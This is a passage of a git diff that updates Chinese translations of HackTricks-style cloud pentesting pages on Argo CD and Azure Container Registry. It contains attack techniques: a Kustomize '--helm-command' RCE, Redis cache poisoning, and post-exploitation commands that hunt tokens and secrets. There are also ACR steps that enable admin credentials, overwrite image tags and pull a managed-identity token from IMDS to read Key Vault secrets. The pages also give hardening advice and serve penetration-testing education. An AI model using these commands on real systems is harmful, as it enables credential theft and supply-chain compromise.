可从非 Argo CD pods 访问。 -- NetworkPolicies 缺失,或只允许 allow-list egress 但未拒绝 ingress。 -- repo-server 可访问自定义 config management plugins、decryption tools,或来自多个 tenant 的 repository content。 -- Redis 可从非 Argo CD pods 访问;如果 credentials 可用或不需要,就可能进行 cache inspection 或 tampering。 +- 缺少 NetworkPolicies,或仅允许 egress 白名单而未拒绝 ingress。 +- repo-server 可访问 custom config management plugins、decryption tools,或来自多个 tenants 的 repository 内容。 +- Redis 可从非 Argo CD pods 访问;如果凭据可用或不需要凭据,可能允许进行 cache inspection 或 tampering。 -## 通过 Kustomize Options 实现未认证的 Repo-Server RCE +## 未认证的 Repo-Server RCE via Kustomize Options -在 2026 年 7 月,Synacktiv 披露了 Argo CD 的 `repo-server` 中一条未认证 code execution 链,当 attacker 能访问内部 gRPC service 时即可触发。该攻击滥用对 `/repository.RepoServerService/GenerateManifest` 的直接访问,以及 attacker-controlled 的 `KustomizeOptions`。 +2026 年 7 月,Synacktiv 披露了 Argo CD 中的一条未认证 code execution chain:当攻击者能够访问内部 gRPC service 时,可对 `repo-server` 发起攻击。该攻击滥用对 `/repository.RepoServerService/GenerateManifest` 的直接访问,以及由攻击者控制的 `KustomizeOptions`。 -危险的 primitive 是强制 repo-server clone attacker-controlled repository content,并在启用 Helm support 的情况下运行 Kustomize: +其中的危险 primitive 是强制 repo-server clone 由攻击者控制的 repository 内容,并运行带 Helm support 的 Kustomize: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -触发 Helm 处理所需的最小恶意 Kustomize 输入: +最小恶意 Kustomize 输入需要触发 Helm 处理: ```yaml helmCharts: - name: pwn version: 0.0.1 ``` -为什么这可行: +为什么这能生效: -- `argocd-repo-server` 会在渲染之前先 clone 该 repository。 -- `--helm-command ./payload.sh` 会相对于已 clone 的 repository 来解析。 -- 如果 attacker 能控制被渲染的 repository 和 Kustomize build options,就不需要 shell metacharacter injection 也能实现 Code execution。 +- `argocd-repo-server` 会在渲染前 clone repository。 +- `--helm-command ./payload.sh` 会解析为相对于 cloned repository 的路径。 +- 如果 attacker 能够控制 rendered repository 和 Kustomize build options,则无需注入 shell metacharacter 也能实现 code execution。 -在 Synacktiv 于 2026 年 7 月 1 日披露时,他们报告该问题没有官方修复或 CVE。应首先将其视为一个网络暴露问题:exploitation 需要能够访问内部的 repo-server gRPC 端口。 +在 Synacktiv 于 2026 年 7 月 1 日披露时,他们报告称该问题尚无官方修复或 CVE。应首先将其视为 network-exposure issue:利用需要能够访问内部 repo-server gRPC port。 ## Redis Cache Poisoning to Deploy Manifests -在 `argocd-repo-server` 中实现 Code execution 后,或者在使用有效凭据直接访问 Redis 后,检查 Redis-backed cache entries。Argo CD 通常会存储 gzip-compressed JSON values。 +在 `argocd-repo-server` 中实现 code execution 后,或使用有效 credentials 直接访问 Redis 后,检查 Redis-backed cache entries。Argo CD 通常会存储 gzip-compressed JSON values。 -有趣的 key prefixes: +Interesting key prefixes: ```text mfst|... # cached rendered manifests git-refs|... # Git branch/ref to commit mappings app|... # application resource/cache data cluster|... # cluster cache information ``` -Synacktiv 描述的 cache poisoning attack 利用了两种状态: +Synacktiv 描述的 cache poisoning attack 滥用了两部分状态: -1. 修改相关的 `mfst|...` manifest cache entry,以包含攻击者控制的 Kubernetes manifest。 -2. 修改相关的 `git-refs|...` mapping,让 Argo CD 认为 branch 已移动,然后再回滚到缓存的 revision。 +1. 修改相关的 `mfst|...` manifest cache 条目,使其包含攻击者控制的 Kubernetes manifest。 +2. 修改相关的 `git-refs|...` 映射,使 Argo CD 认为分支已发生移动,然后重新 reconcile 到缓存的 revision。 影响: -- 启用 Auto Sync 时,Argo CD 可能会自动应用被污染的 cached manifest。 -- 未启用 Auto Sync 时,当用户手动 sync 该 application 时,payload 仍可能被应用。 -- 最终影响受目标 application 的 destination 以及 Argo CD 可用的 Kubernetes permissions 限制。 +- 启用 Auto Sync 时,Argo CD 可能会自动应用被污染的缓存 manifest。 +- 未启用 Auto Sync 时,用户手动 sync application 仍可能应用 payload。 +- 最终影响受目标 application 的 destination 以及 Argo CD 可用的 Kubernetes 权限限制。 ## ApplicationSet Attacks -ApplicationSet 尤其敏感,因为它会根据 generator output 创建或更新 `Application` objects。 +ApplicationSet 尤其敏感,因为它会根据 generator 输出创建或更新 `Application` 对象。 -Review: +检查: ```bash kubectl get applicationsets.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml ``` -Interesting patterns: +有趣的模式: -- Git generators reading attacker-writable files that control app names, paths, projects or destinations. -- Pull request generators for public repositories where untrusted contributors can influence generated applications. -- Template fields that allow broad destination clusters/namespaces. -- AppProjects that permit `sourceRepos: ["*"]` or broad `destinations`. -- Generated applications that inherit automated sync and pruning. +- Git generators 读取 attacker-writable files,而这些文件可控制 app names、paths、projects 或 destinations。 +- 面向 public repositories 的 Pull request generators,其中 untrusted contributors 可以影响生成的 applications。 +- 允许使用 broad destination clusters/namespaces 的 Template fields。 +- 允许 `sourceRepos: ["*"]` 或 broad `destinations` 的 AppProjects。 +- 继承 automated sync 和 pruning 的 Generated applications。 ## Post-Exploitation -From an Argo CD pod shell, prioritize: +从 Argo CD pod shell 中,优先检查: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' @@ -171,24 +171,24 @@ mount | grep -E 'secret|token|config' ``` 有用的目标: -- 窃取 `REDIS_PASSWORD` 或 Redis TLS/client 材料。 +- 窃取 `REDIS_PASSWORD` 或 Redis TLS/client material。 - 从挂载的 secrets 或 Argo CD Kubernetes secrets 中提取 repository credentials。 - 识别 Argo CD 使用的 cluster credentials。 -- 读取生成的 manifests 和可能包含注入 secrets 的 plugin output。 -- 检查 custom plugins、SOPS、Helm secrets、Vault plugins 或 cloud CLIs 是否暴露了 decryption keys 和 cloud credentials。 +- 读取生成的 manifests 和 plugin output,其中可能包含注入的 secrets。 +- 检查 custom plugins、SOPS、Helm secrets、Vault plugins 或 cloud CLIs 是否暴露 decryption keys 和 cloud credentials。 -## 检测与加固 +## Detection & Hardening -重要检查: +重要检查项: -- 通过 NetworkPolicies 限制 `argocd-repo-server` 端口 **8081** 和 Redis 端口 **6379**,确保只有预期的 Argo CD 组件可以访问它们。 -- 在 Helm deployments 中,确认 network policies 确实被创建。Argo CD Helm chart values 过去通常将组件 network policy creation 默认设为 disabled。 -- 将 `argocd-server` 保持为经过认证的入口点。内部服务不应能被任意 workloads 访问。 -- 禁用未使用的 config management tools 和 plugins。 +- 使用 NetworkPolicies 限制 `argocd-repo-server` 端口 **8081** 和 Redis 端口 **6379**,确保只有预期的 Argo CD 组件可以访问它们。 +- 在 Helm deployments 中,确认确实创建了 network policies。Argo CD Helm chart 的 values 长期以来默认将 component network policy creation 设置为 disabled。 +- 保持 `argocd-server` 作为经过认证的入口点。内部服务不应被任意 workloads 访问。 +- Disable 未使用的 config management tools 和 plugins。 - 限制 `AppProject` 的 `sourceRepos`、`destinations`、namespace permissions 和 cluster-scoped resources。 -- 避免存储过于宽泛的 repository credentials,以免被低权限 Argo CD user 触发复用。 +- 避免将 broad repository credentials 存储在低权限 Argo CD user 可以促使其复用的位置。 - 监控 repo-server requests、Kustomize build options、plugin executions、Redis writes,以及对 `mfst|` / `git-refs|` keys 的异常访问。 -- 在发生 compromise 后,轮换 Argo CD local users、project tokens、repository credentials 和 cluster credentials。 +- 在发生 compromise 后,rotate Argo CD local users、project tokens、repository credentials 和 cluster credentials。 有用的命令: ```bash @@ -197,15 +197,15 @@ kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Static Analysis Note: Typed API Requests in CodeQL +## CodeQL 中的 Static Analysis Note:Typed API Requests -对于使用 gRPC/REST handlers 的 Go services,默认的 CodeQL remote sources 可能会在原始输入被 unmarshaled 成 typed request objects 之后漏掉 flows。对 Argo CD 风格的 services,一个有用的 model 是: +对于使用 gRPC/REST handlers 的 Go services,当 raw input 被 unmarshaled 到 typed request objects 后,默认的 CodeQL remote sources 可能会遗漏 flows。对于 Argo CD-style services,一个有用的 model 是: -- Receiver type 例如 `Server` 或 `Service`。 -- 第一个参数是 `context.Context`。 -- 第二个参数是 typed request object。 +- Receiver type,例如 `Server` 或 `Service`。 +- First parameter 是 `context.Context`。 +- Second parameter 是 typed request object。 -把这个第二个参数建模为 remote source,并为 `exec.Command` / `exec.CommandContext` arguments 添加 custom sinks。这有助于发现从内部 API request fields 到 command execution helpers 的 flows。 +将 second parameter model 为 remote source,并为 `exec.Command` / `exec.CommandContext` arguments 添加 custom sinks。这有助于发现从 internal API request fields 流向 command execution helpers 的 flows。 ## References @@ -217,3 +217,4 @@ kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..d8a7d4d86 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Container Registry Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +有关此服务的更多信息,请查看: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +具有 ACR management-plane 访问权限的身份可以将该访问权限转换为**可复用的 Docker 凭据**。如果已禁用 **admin user**,但该主体同时拥有 `registries/write`,则启用它、获取密码,然后直接针对 `.azurecr.io` 进行身份验证。 +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +这很有用,因为恢复的凭据可以在 Azure CLI 之外重复使用,以 **list、pull、push、overwrite,以及有时 delete** registry 内容,直到 admin account 被禁用或密码完成轮换。 + +### `Microsoft.ContainerRegistry/registries/pull/read` + +使用 pull access 对镜像执行 **repository reconnaissance** 和 **secret hunting**。同时检查最终的 container configuration 和历史 filesystem layers,因为某一层中复制的文件即使之后被删除,仍可能可以恢复。 +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +高价值目标包括**环境变量**、**应用配置**、**部署脚本**、**证书**、**访问令牌**和**连接字符串**。在检查各层时,如需更多思路,请参阅 Docker forensics 页面: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +Push 访问权限可让攻击者**污染受信任的仓库**或**覆盖可变标签**,例如 `latest`、`prod` 或 `stable`。任何仍按标签而非 digest 部署的工作负载,都可能在下一次部署、扩容事件或重启时拉取攻击者的镜像。 +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +在替换 tag 之前,请确认下游 workloads 实际使用了哪些 repositories 和 tags。使用 **Digest-pinned** 的 consumers(`@sha256:...`)比基于 tag 的 consumers 更难重定向。 + +### `Microsoft.ContainerRegistry/registries/push/write`、`Microsoft.ContainerInstance/containerGroups/restart/action` + +如果你既能**替换下游 container workload 使用的 image**,又能**重启**该 workload,那么恶意 entrypoint 就会在目标 container 的**网络和 managed identity 上下文**中执行。之后,该 image 可以从 IMDS 请求 tokens,并访问该 workload identity 可访问的 Azure resources。 +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +这会将 ACR tag overwrite 转化为 **code execution**、**secret theft** 或 **lateral movement**,影响任何信任被修改 tag 且暴露有用 identity 的 container consumer。 + +### 相关 privesc 路径:ACR Tasks managed identities + +如果你还拥有 `Microsoft.ContainerRegistry/registries/tasks/write` 和 `Microsoft.ContainerRegistry/registries/runs/write`,请转到 ACR privesc 路径,直接滥用 task 的 managed identity: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## 参考资料 + +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 3134f6ad9..2e7b0c93d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -4,11 +4,11 @@ ## 基本信息 -Azure Container Registry (ACR) 是一个安全的私有 registry,可让你在 Azure cloud 中**存储、管理和访问 container images**。它可与多个 Azure 服务无缝集成,提供大规模的自动化构建和部署工作流。凭借 geo-replication 和 vulnerability scanning 等功能,ACR 有助于确保 containerized applications 达到企业级安全性和合规性。 +Azure Container Registry (ACR) 是一个安全的私有 registry,可让你在 **Azure cloud 中存储、管理和访问 container images**。它与多个 Azure services 无缝集成,可大规模提供自动化的 build 和 deployment workflows。借助 geo-replication 和 vulnerability scanning 等功能,ACR 有助于确保 containerized applications 达到 enterprise-grade 的安全性和合规性。 ### Permissions -这些是根据文档可授予 Container Registry 的**不同权限** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager): +以下是 [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) 可针对 Container Registry 授予的**不同 permissions**: - Access Resource Manager - Create/delete registry @@ -18,23 +18,23 @@ Azure Container Registry (ACR) 是一个安全的私有 registry,可让你在 - Change policies - Sign images -另外还有一些可分配的**built-in roles**,也可以创建**custom roles**。 +此外,还可以分配一些 **built-in roles**,也可以创建 **custom roles**。 -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![用于管理 registry、image、data、policies 和 signing 操作的 Azure Container Registry built-in roles permissions matrix](/images/registry_roles.png) ### Authentication > [!WARNING] -> 即使 registry 名称包含大写字母,登录、push 和 pull images 时也务必要始终使用**小写字母**。 +> 非常重要:即使 registry name 包含大写字母,也应始终使用**小写字母**来 login、push 和 pull images。 -有 4 种方式可以 authenticate 到 ACR: +有 4 种方式可以向 ACR 进行 authentication: -- **With Entra ID**:这是 authenticate 到 ACR 的**默认**方式。它使用 **`az acr login`** 命令来对 ACR 进行 authentication。该命令会将凭据**存储**在 **`~/.docker/config.json`** 文件中。此外,如果你在一个无法访问 docker socket 的环境中运行该命令,比如 **cloud shell**,可以使用 **`--expose-token`** 参数获取用于 authenticate 到 ACR 的**token**。然后要进行 authentication,你需要将用户名设为 `00000000-0000-0000-0000-000000000000`,例如:`docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **With an admin account**:admin user 默认是禁用的,但可以启用,之后就能使用 admin account 的**username** 和 **password** 访问 registry,并拥有对 registry 的完全权限。由于某些 Azure 服务会使用它,因此它仍然受支持。注意会为该用户创建**2 passwords**,两者都有效。你可以通过 `az acr update -n --admin-enabled true` 启用它。注意 username 通常是 registry name(而不是 `admin`)。 -- **With a token**:可以创建一个带有特定 **`scope map`**(permissions)的 **token** 来访问 registry。之后可以使用 token 名称作为 username,并使用任意一个生成的 password,通过 `docker login -u -p ` authenticate 到 registry -- **With a Service Principal**:可以创建一个 **service principal** 并分配像 **`AcrPull`** 这样的 role 来 pull images。然后就可以使用 SP appId 作为 username、生成的 secret 作为 password 来**login to the registry** +- **With Entra ID**:这是向 ACR 进行 authentication 的**默认**方式。它使用 **`az acr login`** command 对 ACR 进行 authentication。此 command 会将 **credentials 存储**在 **`~/.docker/config.json`** file 中。此外,如果你在无法访问 docker socket 的 environment(例如 **cloud shell**)中运行此 command,可以使用 **`--expose-token`** flag 获取用于向 ACR 进行 authentication 的 **token**。之后进行 authentication 时,需要使用 `00000000-0000-0000-0000-000000000000` 作为 username,例如:`docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **With an admin account**:admin user 默认处于 disabled 状态,但可以启用。启用后,即可使用 admin account 的 **username** 和 **password** 访问 registry,并拥有 registry 的全部 permissions。由于某些 Azure services 仍会使用它,因此仍支持此方式。请注意,此 user 会创建 **2 个 passwords**,且两者均有效。可以使用 `az acr update -n --admin-enabled true` 启用它。请注意,username 通常是 registry name(而不是 `admin`)。 +- **With a token**:可以创建一个带有**特定 `scope map`**(permissions)的 **token**,用于访问 registry。然后,可以使用 token name 作为 username,并使用生成的 passwords 中的任意一个,通过 `docker login -u -p ` 向 registry 进行 authentication。 +- **With a Service Principal**:可以创建一个 **service principal**,并为其分配 **`AcrPull`** 等 role 以 pull images。之后,可以使用 SP appId 作为 username,并使用生成的 secret 作为 password **login to the registry**。 -来自 [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) 的用于生成具有 registry 访问权限的 SP 的示例脚本: +以下是 [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) 中用于生成一个对 registry 具有访问权限的 SP 的示例 script: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD" ``` ### Encryption -只有 **Premium SKU** 支持 images 和其他 artifacts 的 **encryption at rest**。 +只有 **Premium SKU** 支持对 images 和其他 artifacts 进行 **encryption at rest**。 ### Networking -只有 **Premium SKU** 支持 **private endpoints**。其他的只支持 **public access**。public endpoint 的格式是 `.azurecr.io`,private endpoint 的格式是 `.privatelink.azurecr.io`。因此,registry 的名称必须在整个 Azure 中唯一。 +只有 **Premium SKU** 支持 **private endpoints**。其他 SKU 仅支持 **public access**。public endpoint 的格式为 `.azurecr.io`,private endpoint 的格式为 `.privatelink.azurecr.io`。因此,registry 的名称必须在所有 Azure 中保持唯一。 ### Microsoft Defender for Cloud -这允许你对 registry 中的 **images** 进行 **vulnerabilities** 扫描。 +此功能允许你对 registry 中的 **images** 执行 **vulnerabilities 扫描**。 ### Soft-delete -**soft-delete** 功能允许你在指定天数内 **recover a deleted registry**。该功能默认 **disabled**。 +**soft-delete** 功能允许你在指定的天数内 **恢复已删除的 registry**。此功能默认处于**禁用**状态。 ### Webhooks -可以在 registries 中 **create webhooks**。在这个 webhook 中,需要指定一个 URL,当执行 **push or delete action** 时会向该 URL 发送 **request**。此外,Webhooks 还能指定 scope,用来表示会受影响的 repositories (images)。例如,`foo:\*` 表示 repository `foo` 下的事件。 +可以在 registries 中 **创建 webhooks**。在此 webhook 中,需要指定一个 URL,当执行 **push 或 delete 操作时,将向该 URL 发送 request**。此外,Webhooks 可以指定 scope,以表明哪些 repositories(images)会受到影响。例如,`'foo:\*'` 表示 repository `'foo'` 下的事件。 -从 attacker 的角度来看,最好在 registry 中执行任何操作之前先检查这一点,如果需要,可以临时移除它,以避免被发现。 +从攻击者的角度来看,在 registry 中执行任何操作**之前**检查这一点很有意义;如有需要,可以暂时移除它,以避免被发现。 ### Connected registries -这基本上允许将一个 registry 中的 **images mirror** 到另一个 registry,通常位于 on-premises。 +这基本上允许将一个 registry 中的 **images 镜像**到另一个 registry,后者通常位于本地环境中。 -它有 2 种模式:**ReadOnly** 和 **ReadWrite**。在第一种模式下,images 只会从 source registry **pulled**;在第二种模式下,images 也可以被 **pushed** 到 source registry。 +它有两种模式:**ReadOnly** 和 **ReadWrite**。在第一种模式下,images 只能从源 registry 中被 **pulled**;在第二种模式下,images 还可以被 **pushed** 到源 registry。 -为了让 clients 能从 Azure 访问 registry,使用 connected registry 时会生成一个 **token**。 +当使用 connected registry 时,会生成一个 **token**,以便客户端从 Azure 访问该 registry。 ### Runs & Tasks -Runs & Tasks 允许在 Azure 中执行你通常需要在本地或 CI/CD pipeline 中完成的 container 相关操作。例如,你可以在 registry 中 **build, push, and run images**。 +Runs & Tasks 允许在 Azure 中执行与 container 相关的操作,而这些操作通常需要在本地或 CI/CD pipeline 中完成。例如,你可以在 registry 中 **build、push 和运行 images**。 -构建并运行 container 最简单的方法是使用常规 Run: +构建和运行 container 最简单的方式是使用常规的 Run: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -不过,这会触发一些从 attacker 角度看并不太有趣的 runs,因为它们没有附加任何 managed identity。 +然而,这会触发一些从攻击者角度来看并不太有趣的 runs,因为它们没有附加任何 managed identity。 -不过,**tasks** 可以附加 **system 和 user managed identity**。这些 tasks 才是用于在 container 中 **escalate privileges** 的。关于 privileges escalation 章节,可以看到如何使用 tasks 来 escalate privileges。 +不过,**tasks** 可以附加 **system 和 user managed identity**。这些 tasks 才是用于在容器中**提升权限**的对象。在权限提升部分,可以了解如何利用 tasks 来提升权限。 ### Cache -cache 功能允许从 **external repository** 下载 images,并将新版本存储到 registry 中。它要求通过从 Azure Vault 中选择 credentials 来配置一些 **credentials**。 +Cache 功能允许从**外部 repository 下载 images**,并将新版本存储在 registry 中。它要求通过从 Azure Vault 中选择凭据来配置一些**凭据**。 -这从 attacker 的角度看非常有趣,因为如果 attacker 拥有足够的权限访问 credentials,就可以 **pivot to an external platform**,**download images from an external repository**,并且配置 cache 也可以用作 **persistence mechanism**。 +从攻击者角度来看,这非常有趣,因为如果攻击者拥有足够的权限访问这些凭据,就可以**转移到外部平台**;**从外部 repository 下载 images**并配置 cache 也可以被用作**持久化机制**。 ## Enumeration > [!WARNING] -> 非常重要的一点是,即使 registry 名称包含一些大写字母,访问它时也应只在 url 中使用小写字母。 +> 非常重要的一点是,即使 registry 名称中包含大写字母,也只能在用于访问它的 URL 中使用小写字母。 ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,19 +143,23 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## 未经身份验证的访问 +## 未认证访问 {{#ref}} ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## 权限提升 & Post Exploitation +## Privilege Escalation & Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} -## References +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + +## 参考资料 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)